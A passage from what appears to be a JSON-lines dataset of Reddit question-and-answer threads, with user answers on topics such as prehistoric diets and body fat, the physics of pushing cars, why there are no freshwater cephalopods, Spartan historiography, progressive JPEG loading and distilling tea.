CI/CO, this is true, but eating correctly is just as important.  And I don't mean the way some advertising exec means it.  Eating right means stopping sugar, as much as you possibly can.  No fruits.  No natural sugar, no processed sugar, no cane or natural sugar.  No sugar means no sugar.  \n\nLimiting carbs is massively important.  The less carbs you can eat the faster your body will turn to fat stores for energy.  \n\nEverything the food industry has told you about proper eating is a lie.  Diet drinks are not healthy.  Fiber bars are loaded with sugar and carbs.  Fruit is not going to help you lose weight permanently.  You must change your diet to a /r/keto diet, permanently, with a slight balance of cheat meals.  \n\nOnce you realize that a single homemade cheeseburger with jalapenos and bacon wrapped in lettuce with mayo or mustard and NO BUN is diet food, you WILL lose weight.", "When we were hunter gatherers we had a very diverse diet. Food was not plentiful though so we have an evolutionary trait of gorging on high calorie foods because it could be a while before we saw it again (eg certain berries). We burned a lot of calories from hunting and gathering too. Then the agriculture revolution took place around 10000bc which made food more predictable, but less diverse which is where the problem started. Living entirely on rice in Asia, wheat and corn in other parts of the world probably meant some would get a bit fat but not receive all nutrients. Famine was also more likely if you rely on one crop. Today we still have a high calorie urge but it's too easy to get those calories and not burn it off. In short, I think there were a few obese people long ago (think about how you still get some fat Asians who only live on rice) but not nearly as prolific as today.  ", "Food runs, man runs for food. No processed foods, probably a lot of diarrhea depending on what food was available. Lean mean running machine.", "Not that they are cavemen, but look at current hunter gatherers. Amazon natives, Aussie Aboriginals, tribal Africans. All very thin and natural looking, much like what I assume our ancestors looked like. ", "Imagine a world where there is only about a 50% chance of finding enough food on a given day. This means that those days you do find food, you have to overeat if you are going to survive through the lean days.\n\nHumans are genetically predisposed to overeat and become fat. That is the only way to survive and adapt in a stochastic world. We are kept lean by exercise and random starvation.\n\nFunnily most ancient religions have a concept of ritualistic fasting that replicates this feature of our ancient environment.", "The simple answer is that they lived in a time before humanity was able to produce more food than it needed for basic survival.  It actually took us quite a long time to reach that point.\n\nAnyway, I totally read that title as \"Why every human lean back in caveman times?\" and was initially very confused.", "The vast majority of people would have been, yes. You can't gain weight without taking in more energy from food than you burn with activity and metabolic processes. A hunter-gatherer lifestyle affects both ends of that. For energy intake, you have less reliable food availability. If the band's hunters don't have a very successful day, there's less food available for everyone. Same with the fishers and plant collectors. For energy use, it would have been an extremely active lifestyle. Hunting was probably often based in persistence hunting techniques, which are still used by some existing hunter-gatherer peoples. This entails chasing an animal for hours until it collapses from exhaustion; by alternating walking and running, a human can cover ground much more efficiently than other mammals can. You can expect gatherers to do something similar: lots of walking and carrying throughout the day.\n\nEssentially, people just didn't have enough food available on a reliable basis to put on large fat stores, especially considering that sedentary lifestyles would have been nearly unheard of.", "This doesn't answer your question but more people live in caves now than they ever have in human history and there was really no such thing as the cavemen times.", "Humans who are hunter-gatherers are NOT all lean and fast...they need to be reasonably fit, but most hunting (unless on the African savanna, where one may need to run down sprinting animals using a strategy of persistent slower chasing) does not require speed but intelligence, communication, and tool-making skills. Also, people get lean only during starvation - most hunter-gatherers have  normal BMI and spend only 3-4 hours a day on obtaining food, and their metabolic rate is similar to that of any modern-living human (the difference in obesity rates in modern human is due to caloric excess, not due to decreased expenditure).  If you look at images of tribal/native people in jungles etc, they are not either too skinny or too fat eg. _URL_0_", "On the whole people were shorter and leaner, but there of course exceptions. Also \"caveman\" is very inaccurate at most early humans didn't live in caves. This misunderstanding likely began due to finding cave paintings, be leading some to conclude that because paintings were there, they must have loved in the caves. Early humans were laregly nomadic, and the vast majority of art and artifacts found have been outside rather than in a cave.\n\nSource: College", "I know the question is why cavemen were skinny and not why people are fat now, but evolution plays a large part in the difference.  A genetic predisposition toward obesity also means that someone is a very efficient user of energy - As energy is taken in, some store it as fat in a higher proportion rather than immediately use it.  This is a problem in our more sedentary, food-filled modern culture, but up until the last few thousand years, when humans were more subject to the frequent famine conditions described in other comments, people with the \"thrifty\" jeans were more likely to survive than someone who quickly burned energy they consumed rather \"save it\" in the form of fat.  Basically the better one was at getting fat, the more likely he is to survive periods of famine and pass those genes on to the next generation in food-scarce environment.  And so the cycle would continue. \n\nEssentially, we have spent tens of thousands of years getting good at getting fat.  In the last few hundred years this has really come back to bite us in the ass.", "The Venus of Willendorf would suggest that at least _some_ people in Stone Age Europe would have been overweight - the representation of womanhood cannot have emerged from a vacuum. _URL_0_ ", "So I'm not an expert on this, but there are no answers yet with sourcing, and there are several misconceptions about how weight loss and weight gain work for which we have scientific evidence that contradicts the common sense explanation. \n\nFirst, exercising doesn't often do much to help you lose weight, except for possible second-order effects like hormonal changes regulating appetite and metabolism. But the idea that you can \"burn fat\" by exercising it off is a myth. EDIT: I did not bother to state this as carefully as it is done in the following link, which caused some backlash in the comments. I should have said \"it takes an absurd amount of exercise to expend the number of calories that you could consume without batting an eye (especially when those calories are rapidly digested like sugars and simple carbs). So you can't just keep eating the same junk diet and then just exercise a little more to lose weight. You would have to commit to a professional athlete's training regimen, like 8 hours a day of intense exercise.\"\n[Vox article summarizing a lot of this research and linking out to it.] (_URL_0_)\n\nSo just because the cavemen were hunting all day (it's unclear how much physical activity this translates to), doesn't necessarily mean that any individual caveman stayed thin because of that exercise; it's more that those carrying around more weight were not adapted well to the environment, so the prevalence of that trait declined in the population. \n\nSecond, all food calories are not equal. As others have mentioned, fruits contain simple carbohydrates (sugars) and fiber, but the sugar isn't a big problem as the fiber slows the digestion and you feel full before you've consumed as many calories. Fat actually does the same. It is packed with calories, but it's digested much more slowly than carbohydrates and it makes you feel full even faster than fiber. When the sugars and simple carbs from things like white bread are digested incredibly quickly, you get a rapid spike in blood glucose followed by a spike in insulin, which causes your fat cells to take up and store blood glucose. When you eat fiber, protein, and fat, the hormones that make you feel full are triggered earlier, and the calories are taken up more slowly, leading to a slower rise in blood sugar and reduced insulin response. Even if you've never heard the term \"energy balance\" to describe why people get fat and thin, it's the conceptual framework that most people use, and it's incomplete. It leaves out the fact that there are effects from the types of calories you are consuming on your ability to consume more of them, and on your body's storage of them as fat.\n[NYT review of Gary Taubes's \"The Case Against Sugar\"](_URL_1_). \n\nSo it's not necessarily the case that, in all of human history up to now, there just haven't been enough calories around for many people to get fat. It's just that now, there are many calories available in the form of rapidly digested simple carbs that don't make you feel full.\n\nBecause being overweight is no longer a trait that is meaningfully selected against, it's  surging in the population. We're not necessarily talking about Mendelian genetics and Darwinian evolutionary timescales here. Epigenetics can cause some parts of the genome to become activated as a result of environmental stimuli, and then those changes are actually passed down to the next generation. That's why things like insulin resistance can become hereditary after just one or two generations when the family had no prior history of it.", "Just visited Malta which has some of the oldest Neolithic temples in the world, with many statues of obese women\n_URL_0_", "ITT: People mistaking the modern 3rd world for the primitive world. Abundance certainly did exist in antiquity  &  prehistory. Post-colonialism  &  pre-contact are not the same. Environments change. \n\nFertility was associated with having enough to eat. As we can see in the [venus figurines](_URL_0_).\n\nOr Roman Cherubs. Or Shakespeare babbling about large breasts. Or African art. Grass skirts. Jeez, y'all need some exposure to world culture. \n\nThere are plenty of tribespeople the world over, who aren't thin. They like pork over in the South Pacific. Potato's  &  wheat aren't exactly lean-foods. \n\n\n\n", "[No](_URL_0_), not everyone was lean. Some of the earliest carvings and drawings are of obese people, mostly women. The artifacts are found spanning continents so there were more than one or two who were obese.\n\nSome men favor fat women over lean women and judging from the artifacts, it's not a recently developed attraction.\n\n", "Not necessarily. Being fat is a natural thing that has happened to humans for thousands of years. You can find a wide range of overweight creatures today.", "Storing fat is the way animals preserve energy for the winter. That goes for humans as well. Did ancient caveman humans gorge food when it was plentiful? You bet. But for the most part they probably weren't chubby or overweight. You need a constant year-round supply of more food than your tribe needs then. That's was hard to do back then, especially considering the physical activity involved in gathering and hunting.", "We only started to really put on weight when we started farming.\n\nUnlike hunting /gathering you get a huge bounty all at once then it's gone and what followed was months of very lean availability\n\nThe way to adapt was to gain weight fast and lose it slow", "Theres a lot of answers in this thread citing the anthropological history of hunter gatherer societies and noting the history of human biology.\n\nHumans were not lean at all. Back in the days of hunter gatherers, humans would hunt together and gather calorie dense food. Suprisingly countering the \"starving african\" myth, the actual african hunter gatherer tribes of today have bodyfat akin to \"a little chubby\", as apposed to other parts of africa where people are starving to death.\n\nHumans have the biology to be within the kind of chubby bodyfat percentage. Its what your body strives to get, especially sense we can convert calories in carbohydrates to triglycerides in adipose tissue. The entire insulin-glucagon balance of your blood sugar is to induce buildup of fat stores while also keeping a blood glucose level.\n\nBack in the days of old, the only areas humans survived were areas that food can be plentiful if you hunted and gathered. This means it wasnt an incredibly harsh environment, otherwise well they wouldnt make much babies. When i say harsh i mean that even if you were in a cave during the ice age, you could walk outside with your buddies and find food in a few hours. The wildlife was a plentiful fridge.\n\nHumans dont have the biology like wolves or raptors, where they use a lot of their intake of food to power the ability to hunt MORE food. Instead, the most caloric expendeture stems to keep storing fats and powering the human brain. The human human physiology also centers around a lot of our muscles covered in adipose tissue, as hunting strategies humans utilize are more trap building, group cooperation to gather and take down large prey, and endurance \"trotting\" to slowly tire prey over distances. This is contrast to most hunters in the big animal kingdom - cats, wolves, raptors, all have quick reflex muscles and no skin to cool them down, or a huge brain to work together that much (wolves do well at this however).\n\nThis was found in hunan historical records by cultural anthropologists. Early humans worked for their daily food intake at most 3-4 hours a day and the rest of the day laid back, played, fucked, lazed around. \n\nSo not at all were humans lean, or skinny back in the days. Just look at the human physiology. We have the ability to store tremendous fat reserves around our body for a huge reason, again going back to how our pancrease regulates blood sugar and our liver able to promote fatty acid metabolism in quick succession should we run out of carbohydrates. Humans werent morbidly obese, but they had to be chubby, especially the adult males and child bearing females, where musculature for the males influenced a need for hefty amounts of adipose tissue to power human hunting strategies, and the caloric intake needed to be able to grow a healthy baby in the womb.\n\nI wanted to note however the other responses in this thread arent entirely wrong, when talking about hierarchial societies like european surfdoms. In this case the higher up took most of the \"calories\" when agriculture became staple, and so humans got pretty lean in these cultures. This is actually not the \"normal\" for human evolutionary history, it was a relatively new thing when it happened. The cavemen part of human history you are talking about never had the amount of social hierarchy established to take much calories away from other humans in the group, it was egalitarian, kind of like a commune, everyone ate as much food as they could. But it is incredibly innacurate to say humans simply were lean, fighting against starvation in our evolutionary history.. it was quite the opposite, and thankfully we had enough food to make sure that big brain was kept around in out evolutionary history (the brain is an incredible caloric expendeture, cant have that without tons of food available)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], ["https://en.m.wikipedia.org/wiki/Venus_of_Willendorf"], [], [], [], [], [], [], [], [], [], [], ["http://news.nationalgeographic.com/2016/12/uncontacted-tribe-amazon-brazil-photos/"], [], [], ["https://en.m.wikipedia.org/wiki/Venus_of_Willendorf"], ["https://www.vox.com/2016/4/28/11518804/weight-loss-exercise-myth-burn-calories", "https://mobile.nytimes.com/2017/01/02/books/review/case-against-sugar-gary-taubes.html"], ["http://popular-archaeology.com/issue/april-2011/article/of-temples-and-goddesses-in-malta"], ["https://en.wikipedia.org/wiki/Venus_figurines"], ["https://en.wikipedia.org/wiki/Venus_figurines"], [], [], [], []]}
{"q_id": "bhtjbl", "title": "how are people able to push cars? they are like 4,000 pounds", "selftext": "Like, me and my friends couldn't push a 4,000 pound weight. But we could push a 4,000 pound car. I think it's the presence of the wheels that makes it not actually 4,000 pounds. Something to do with friction? I'm curious how the wheels impact the actual forced needed to push an object. Is there a formula for that?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bhtjbl/eli5_how_are_people_able_to_push_cars_they_are/", "answers": {"a_id": ["elvo7k8", "elvoh1z", "elvomf0", "elvr08n", "elvr3ex"], "score": [16, 10, 3, 4, 3], "text": ["To get the car rolling you only need to overcome the normal force of the greased axels on the wheel  bearings . (Assuming level ground)  If the car had no wheels you would have to overcome the much greater force of the car on the ground.", "You're not lifting the 4,000 pounds over your head, you're only overcoming the friction on the wheel bearings. Things get a little more complicated if you're pushing it up a slope. The weight of the car is pushing down against the earth though, all you're doing is giving it a sideways nudge.", "Realistically, how much weight are you pushing?", "To push something on a flat surface so it move the force has to be greater then the friction.\n\nThe friction will depend on the material on the surface, The friction between two peaces of rubber is a lot higher then between two peaces of ice. For something that  just sits on the ground the friction would be the normal force(mass\\*gravity) multiplied by friction coefficient  so if the material is the same the friction will depend on the mass of the object.\n\nDry material  like steel and steel can often have a friction coefficient of 0.5-0.8 but steel and ice only have 0.03 and rubber and asphalt have 0.9.  \n\n & #x200B;\n\nA wheel have rolling resistance in the bearing  that is the friction  and it is calculated the same way and a good ball berating might have 0.001 but if you include other part of the car like deformation of the car it is closer to 0,01\n\n & #x200B;\n\nSo pushing a car on asphalt if the wheels locked by breaks require in the region of 900x the force then if you release the breaks.\n\nSo a 4000 pounds is 1814kg and the gravity is 9.8m/s\\^2  and the product (normal force) is 17780 N\n\nSo to push a car that with the break on require 17780 \\*0.9= 16000N that  is the same fore that you would need to lift 1632 kg \n\nBut with the breaks off it is 17780 \\*0.01=177N or the same as to lift 17 kg.\n\nA steel weight on a steel surface with the same weight would require at least 17780 \\*0.5=8890 os as liftning 907 kg  but if was on smooth ice the force in only 17780 \\*0.03=553N or 54 Kg so you could push if you have something to brace yourself against that is not the ice.\n\n & #x200B;\n\nThe calculation are approximate but pushing a car on a flat surface it not hard if the breaks are off. The steel wheels on a train do not deform so are a lot closer to the 0,001 value of a ball berating so train can pull huge load and humans can pull a lot more if it is on rails then on wheels.\n\n & #x200B;\n\nThe object will be accelerated by the force that is above the friction- So if you push at 500 N like lifting 51 kg the acceleration would be acceleration would be (500-177)/1814=0.17 m/s\\^2  and it would take 7.9s to get it to a walking speed of 1.4m/s  and you need a distance of 5.5m to do that.", "If friction wasn't a factor, acceleration would be governed simply by Newton's second law, F=ma.\n\nBasically, any push would make anything move (more accurately, accelerate) at least a little bit. The bigger the push compared to how heavy the thing is leads to higher speed (faster acceleration).\n\n\nIn the real world, friction exists, so you have to take that into account. That would change the equation to a=[F(pushing) - f(friction)] \u00f7 mass(the car). \n\nFriction depends on how hard the thing you want to move is pressed against the thing it's sliding against. In the case of a car, that's just its weight, and the sliding motion you're worried about is the mechanical parts of your car sliding against each other.\n\n\nCars can roll because their parts are made more slippery (lubricated) by oil. This decreases the amount of friction a lot. Once two things are sliding against each other, the friction actually decreases even more. (This is the difference between kinetic and static friction)\n\nIf friction is small enough, there won't be enough force fighting against the people pushing to keep the car from rolling.\n\nE: if I'm not mistaken, the friction from the wheels doesn't matter as much as you might think in this scenario. Where the wheel meets the road it's actually at 0 mph unless you're hydroplaning / skidding / drifting, so it's not the friction between the wheel and road you're fighting against to get it rolling (for the most part)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "8hrdu4", "title": "Why are there fresh and salt water varieties of most aquatic life, but no freshwater cephalopods?", "selftext": "There seems to be at least somewhat-analogous pairings in fresh and salt water for most types of aquatic life, but there doesn't seem to be a single cephalopod that lives in fresh water. Why are there no freshwater octopuses or squids?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8hrdu4/why_are_there_fresh_and_salt_water_varieties_of/", "answers": {"a_id": ["dymb32c", "dyms4gx", "dyms7bz", "dynznxw"], "score": [250, 25, 2, 5], "text": ["osmosis.\n\nFreshwater dwellers have salty blood relative to the water around them. Without a mechanism in place to control it, osmosis would equalise salt concentrations between the animal and the water surrounding it, pumping salt out of the body and flooding it with freshwater. A sodium pump, like that found in freshwater fish species, uses chloride cells on the gill surface to actively absorb sodium and potassium ions from the environment. Any excess water taken in at the same time is excreted as urine.\n\nMarine dwellers have the opposite problem, and need to conserve fresh water while expelling salt. Cephalopods pump seawater through their gills and use their kidneys to filter out fresh water from the ocean. Salts and waste water are channelled through the funnel.\n\nie, they never developed a sodium pump that would help them cope with osmotic change in freshwater.\n\n\n_URL_0_\n\n", "Mollusks and gastropods evolved freshwater forms (and the latter even terrestrial ones), but cephalopods weren't pressured into adapting to that.\n\nThe adaptations to deal with osmosis are also very diverse and novel across different clades: crabs pretty much have seawater as plasma, sharks have their blood and tissues full of urea to act as a tampon, bony fish pump salt out through their gills, sauropsids have damn fine salt glands that produce brine jelly (crocodile tears, but sea turtles and sea birds also have them), cetaceans have the same adaptations as CAMELS to deal with the lack of freshwater and only get water from their prey... really interesting bit of comparative physiology.", "Some folks from NOLA will tell you the brackish waters of Lake Pontchartrain make for really nice oysters.\n\nNot really freshwater but not quite ocean salinity either.\n\nIt's interesting they supposedly get bigger/nicer with less salty water. Even though freshwater would kill them.", "So I've done some digging on this one, it's a really interesting question because other molluscs (snails and clams) _have_ invaded freshwater.  So why not cephalopods?\n\nI don't have a solid answer for you, but I do have a hypothesis:\n\nThe main issue for invertebrates in freshwater is maintaining sufficient concentration of salts in the body while preventing too much water from coming in.  Cells are saltier than freshwater, and water wants to diffuse from less salty to more salty.  Stick a standard marine animal in freshwater, and a bunch of water rushes into the animal.  The animal needs to eliminate the water, but loses salts along with it.  To live in freshwater, you need some sort of osmoregulatory organ...something that can isolate and retain salts in the body while excreting water.  Freshwater shrimp and worms have such organs.  Squid and octopus apparently don't....but why can their relatives the snails and clams manage while they can't?\n\nWell....it turns out that mollusks are pretty crappy at osmoregulation.  Freshwater clams and snails mostly deal with freshwater environments by....having really low salinities _in_ their tissues.  The difference between internal and external concentrations are lower, and therefore easier for the animals to deal with.   But....the very ions they have at lower concentrations are the ones that are used for nerve signaling.  I couldn't find any studies specifically addressing this, but it's _plausible_ that the reason snails and clams can invade freshwater but cephalopods can't is that cephalopods rely on fast and complex neural action, while snails and clams...don't.  Therefore, snails and clams can afford to operate at low nerve signaling efficiency brought on by low salinity tissues  in freshwater while squid and octopus can't.  \n\nIf nobody's studied this directly, it'd make a pretty good project I think."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["www.abc.net.au/science/articles/2013/01/16/3670198.htm"], [], [], []]}
{"q_id": "aaqi6r", "title": "wtf is big chungus and what caused the recent surge in popularity?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aaqi6r/eli5_wtf_is_big_chungus_and_what_caused_the/", "answers": {"a_id": ["ecu4wbr", "ecv21xe"], "score": [10, 2], "text": ["So its one of those memes that wrote themselves through their generally obtuse nature. There have been other ones (beep beep lettuce comes to mind) that exist solely because its such an inside joke it almost doesnt exist on the same realm as us. \n\nIt started as just a picture of bugs bunny and it said chungus. I feel like i saw it a while ago too, before its recent surge in popularity. Maybe a week and a half ago someone uploaded it onto reddit and it was upvoted by chance. As memes typicall do, it just spread like wildfire and people started putting it into other already used formats (a format is sort of like a meme, imagine an equation that you can plug numbers into. The format acts like the equation and as new memes pop up the parts of the equation can be substituted for new content and invariably may create a new meme).\n\nThat leads us to where we are today, chungus has (in my opinion) reached max meme state as it is recently being used in new memes (like the january 5th meme) and will keep going on its track until it eventually gets replaced by the next new absurd meme (not accounting for the future formats that plug it in as a dead meme)\n\nso basically it makes sense because it doesnt. The first post on reddit was literally just a pic of bugs bunny saying big chungus. It doesnt need to make sense i guess", "Questions like this are better in r/outoftheloop."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "fcx37x", "title": "Spartans apparently had no written laws or records. Athens was excellent at keeping laws and records but hated the Spartans almost as much as they hated the Persians. How do we know that Spartas current history isn't a clever slander by Athens?", "selftext": "There is so much nonsense involved with Sparta in its heyday that I'm absolutely not surprised about but just realized that Athens was more intellectual and record based. How do we know that Athens didn't hate Sparta so much that they labeled the city state in history as murderous pedophelliac slave drivers? Even though said practices were more common than not probably?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fcx37x/spartans_apparently_had_no_written_laws_or/", "answers": {"a_id": ["fjf1cen", "fjegp7c"], "score": [71, 760], "text": ["Iphikrates has made a great post so I won\u2019t cover much of the same things: but just to add that this idea of the Athenians warping our perceptions of Sparta became such a contentious historical issue that is has a term still used by Historians: \u201cthe Spartan Mirage\u201d first penned by Francois Ollier in the early 20th century. As the name suggests historians began to suspect whether the Sparta presented to us by the Athenian historians is merely a warped fabrication based on their own cultural and political prejudices. \n\nAs the other post pointed out many Athenians such as Xenophon and Plato greatly admired the system and as such are considered Laconophiles: \u201clovers of Sparta\u201d. Xenophon was a close friend of the Spartan King Agesilaos, lived in Olympia for a time under Spartan approval and some have suggested his own sons underwent the Agoge: Sparta\u2019s harsh training system, so we know that he at the very least had a close connection with the Spartans and would be able to observe their customs and practices first-hand, even if he does overly-praise them. As the other post mentioned others such as Thucydides would have been able to gather reports and speak to Spartans whilst in exile during the Peloponnesian War. Plutarch corroborated contemporary reports and as Iphikrates pointed out was able to use some of the (few) written records left by Sparta such as their Rhetras or Laws. There are also fragments of Spartan poetry from Spartans such as Tyrtaeus and Alkman that give us an insight into Spartan life and in particular their values and worldview so they are invaluable for historians on ancient Sparta. \n\nI would just like to clarify something though which was mentioned: though many Athenians greatly admired the Spartan system it was not solely because they resented the democracy and wished for power to be in the hands of the minority. Sparta wasn\u2019t strictly just an oligarchy: the Spartans had a popular assembly called the Apella whereby any Spartan over the age of 30 could attend and vote on laws and policies, then voted in the annual magistrates including the most powerful magistrates in Sparta: the Ephors and the Gerousia. Furthermore Ephors and Gerousia members were selected from among the general populace, Aristotle says the Gerousia were selected from the \u201cbest\u201d men which some have interpreted as the richest, but this isn\u2019t definitive as Plutarch and Xenophon do not mention this but talk about them being the most noble and virtuous. Either way Sparta wasn\u2019t strictly just an oligarchy but was a unique blended constitution that mixed elements of different systems. \n\nWhat a lot of the Athenian observers praised about the Spartans was their internal stability, characterised by the Greek concept of \u201ceunomia\u201d which means \u201cgood order\u201d or harmony. They looked at other systems (such as Athenian democracy in the Peloponnesian War) and saw the volatility of the masses when making decisions in a time of crisis, they then despaired at how in other cities the oligarchs played a zero-sum game and acted in their own self interests which caused internal strife, and of course resented monarchy and tyranny for limiting the freedom of all citizens. So they looked at Sparta with its blended constitution (Kings: Monarchy, Gerousia: Oligarchy, Assembly: Democracy, Ephorate: combination of the others) and saw a great degree of internal strength that contrasted with Athenian volatility. \n\nFurthermore not all Athenians are pro-Sparta. Aristotle (not strictly Athenian but he did live there for a time and was tutored by Plato) condemned the system and points out all of its flaws if you read his works. So as historians we can strike a balance between the very favourable accounts of Xenophon and Plutarch with the critical account of Aristotle. \n\nOn top of this there has been some archaeology in Sparta, though the evidence is rather fragmentary and there isn\u2019t much left what we do have matches a lot of the written records. \n\nWe can never be 100% certain, but with what is left we are able to piece together a fairly coherent picture of Spartan society\n\nEdit: If you\u2019re interested in perceptions of Sparta and the Spartan Mirage there\u2019s some info here to get you started: _URL_0_", "I should point out first of all that it's wrong to say \"the Athenians hated Sparta\". There were periods when Athens was at war with Sparta, but there were also significant periods when Athens and Sparta were allies (most notably during the Persian Wars, but also against Thebes in the 360s BC). During these times Athens proved itself a committed comrade-in-arms. Moreover, there wasn't just one opinion in Athens; even at times when Sparta was an enemy, there were plenty of people in Athens who admired the Spartans and wished things could be different.\n\nThis is important because the favourable view of Sparta - *lakonophilia* - is the origin of many of the relevant Athenian sources. These texts weren't written to slander Sparta, but to glorify it. They reflected an admiration for Spartan laws and customs and a sense among the Athenian elite that things would be better if Athens were more like Sparta.\n\nThis makes sense when we bear in mind that the different forms of government that existed in Classical Greece served the interests of different groups, and the group that produced practically all of the surviving literary sources - rich old citizen men - would be far better served by a Spartan-style oligarchy than an Athenian-style democracy. In Sparta, only rich men could vote; only rich citizens above age 60 could be voted into the *gerousia*, the oligarchic council that set the agenda for Spartan policy. The Spartan elite didn't have to worry about persuading the masses or about the petty interests of small farmers, urban shopkeepers and rowdy sailors. They sat among their peers and decided on matters of state as they saw fit. There were plenty of men in Athens who thought this sounded pretty great.\n\nWe should also bear in mind that some of our most important information about Sparta comes from men the Athenian democracy had spat out. Thucydides learned most about Sparta after the Athenians exiled him for his failures as a general in 424 BC, giving him the freedom to travel the Peloponnese and talk to Spartan commanders with a credible story to show that he wasn't a spy. Xenophon was probably exiled precisely because he offered his services to Sparta as a mercenary. Cast out by his home country, he was embraced by the Spartans and their king Agesilaos, and spent more than 20 years living in the Peloponnesian countryside on an estate they granted him. Why should these authors hate Sparta, the country that did them more favours than Athens ever did? \n\nNow, I don't mean to just play the contrarian here. It wouldn't be true to say that our Athenian sources *loved* Sparta. With the exception of outright laconophile screeds like the fragmentary works of the oligarch Kritias, they tended to offer a mixture of praise and criticism. Plato, for instance, describes many Spartan practices as exemplary, but his ideal constitution is not simply a carbon copy of Sparta's. Aristotle (though not an Athenian) similarly saw much in Sparta that he admired, but also criticised their laws, especially when it came to the rights of women. Xenophon clearly thought highly of the Spartan upbringing (going so far as to commit his sons to it) and the Spartan military system, but he also made it clear that he thought of the Sparta of his own day as a callous, hubristic, degenerate version of its supposedly glorious past. Isokrates was happy to present Sparta as a model democracy (if you will believe it) and a model of military organisation, but he was perfectly aware that the state was past its prime and no longer able to take a leading role in Greek affairs. \n\nYou'll notice that the things these authors *don't* like about Sparta have nothing to do with the Spartans being \"murderous pedophiliac slave drivers\". Those aspects of Spartan society were not only acceptable and normal in their eyes, but positively praiseworthy. The murder element, insofar as it applied to enslaved people and enemies in war, was uncontroversial; the pederastic practices of the Spartans are repeatedly and explicitly praised by Xenophon (though he pretended they were not physical relationships); as for the enslavement, it would be extremely hypocritical for *Athenians*, of all people, to criticise the Spartans for *that.* While the number of enslaved people in any Greek state is a matter of sheer guesswork, it's likely that there were as many of them in Athens as in Sparta, if not more. Athens was a slave society, in the sense that it relied on enslaved people to make its entire way of life possible. The only comment we get from Athenian authors about enslaved people in Sparta is that their typical dress makes it safer to beat them if they get in your way in the street, since you'll always be sure you're not beating up a free man by mistake.\n\nIn short if we now think of the Spartans as pretty horrible people, it is not because our Athenian sources are deliberately making them look bad. In fact the opposite is true: they mostly try to polish the Spartan turd (and this gets much worse after the Classical period, when Sparta ceases to matter as a political force but grows into a huge cultural-philosophical icon). Many Athenians admired (parts of) Spartan society and wanted others to think of it as an example to follow. If we nevertheless get the impression that Sparta was a bad place full of awful human beings, we are already reading between the lines.\n\n & nbsp;\n\nIncidentally, it is clearly not true that the Spartans kept no records at all. During the Roman period, the Boiotian author Plutarch was still able to travel to Sparta to consult written laws and genealogies. The so-called Great Rhetra he cites in his *Life of Lykourgos* is generally assumed on the basis of its Archaic language to be a genuine preserved text, perhaps 700 years old at the time Plutarch read it. It is likely that such things were initially preserved as oral tradition but were eventually written down as Sparta became more concerned - like other states - to codify its laws for future reference."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://blog.yalebooks.com/2016/10/06/was-there-a-spartan-mirage/"], []]}
{"q_id": "11peck", "title": "Why do some pictures on the Internet seem to load from the top down, while others improve their quality as they load?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/11peck/why_do_some_pictures_on_the_internet_seem_to_load/", "answers": {"a_id": ["c6og8rr", "c6omhs6", "c6onq69", "c6oqarn"], "score": [29, 9, 8, 2], "text": ["this is most commonly seen in jpeg images.\n\nthere, the information is split in two ways: first, the image is split in 8x8 tiles; then, the low frequency parts (general color, gradient from left to right etc) are split from the high frequency parts (tiny patterns or dots).\n\n(when lossy compression is applied, the latter gets stripped off, but that's another topic.)\n\nthe file format is flexible enough to vary the sequence in which those parts are saved. if 8x8px parts are saved in sequence, the image loads top-down. if the low frequency parts are sorted first and the high frequency parts come second, you get the big picture before the details load.", "_URL_0_\n\nphotoshop save jpeg options, progressive will get you the improvement of quality/time and standard will load top down full quality.", "I had one load from the bottom up today. The hell was that all about?", "Google \"progressive jpeg\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://0.tqn.com/d/graphicssoft/1/0/y/-/3/l2-sizeex06.gif"], [], []]}
{"q_id": "13sfr2", "title": "If you evaporated tea then re-condensed the vapor, would it be plain water again?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13sfr2/if_you_evaporated_tea_then_recondensed_the_vapor/", "answers": {"a_id": ["c76st0o", "c76sxss"], "score": [2, 26], "text": ["That would depend on how you evaporated and re-condensed your tea.  It sounds as though you're asking about a single evaporation and condensation, like you'd get from a pot still.  In this case, many of the more volatile components of the tea will distill over, giving the condensate a definite taste.", "Technically, no, not necessarily.  There may be compounds in the tea that have a lower boiling point and evaporate before/with the water.  But I would imagine the recondensed vapor would be *mostly* water."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5m5l3s", "title": "if i was a wanted criminal in a time before photographs, whats stopping me from just moving a few hundred kilometers away and starting from scratch? would i ever be caught again, and if so, how could they possibly find me out?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5m5l3s/if_i_was_a_wanted_criminal_in_a_time_before/", "answers": {"a_id": ["dc100g9"], "score": [21], "text": ["A very similar question was posted here some time ago: [Was it easy for criminals 100+ years ago to change their identity to avoid getting caught?](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/2vyu0y/was_it_easy_for_criminals_100_years_ago_to_change/"]]}
